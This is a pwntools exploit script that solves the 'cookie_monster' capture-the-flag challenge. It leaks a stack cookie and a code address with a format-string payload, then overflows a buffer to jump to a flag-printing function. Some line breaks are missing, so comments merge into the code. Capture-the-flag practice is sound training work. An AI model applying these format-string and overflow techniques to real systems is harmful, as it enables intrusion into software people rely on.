```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host ctf.umbccd.io --port 4200 cookie_monsterfrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('cookie_monster')
# Many built-in settings can be controlled on the command-line and show up# in "args".  For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or 'ctf.umbccd.io'port = int(args.PORT or 4200)
def local(argv=[], *a, **kw):    '''Execute the target binary locally'''    if args.GDB:        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)    else:        return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):    '''Connect to the process on the remote host'''    io = connect(host, port)    if args.GDB:        gdb.attach(io, gdbscript=gdbscript)    return io
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if args.LOCAL:        return local(argv, *a, **kw)    else:        return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x0000555555555225b *0x0000555555555290c'''.format(**locals())
#===========================================================#                    EXPLOIT GOES HERE#===========================================================# Arch:     amd64-64-little# RELRO:    Full RELRO# Stack:    No canary found# NX:       NX enabled# PIE:      PIE enabled
io = start()
io.recvuntil("name?")io.send("%9$p|%p")io.recvuntil("Hello, ")leak = io.recvline()cookie, addr = map(lambda x: int(x, 16), leak.decode().split("|"))if args.LOCAL:    base = 0x555555554000else:    base = addr - 0x2082
flag_addr = base + 0x11b5
io.recvline()
payload = flat({    'aaadaaae': [cookie, 0x1337, flag_addr]})io.sendline(payload)flag = io.recv(1024)log.success(flag.decode())```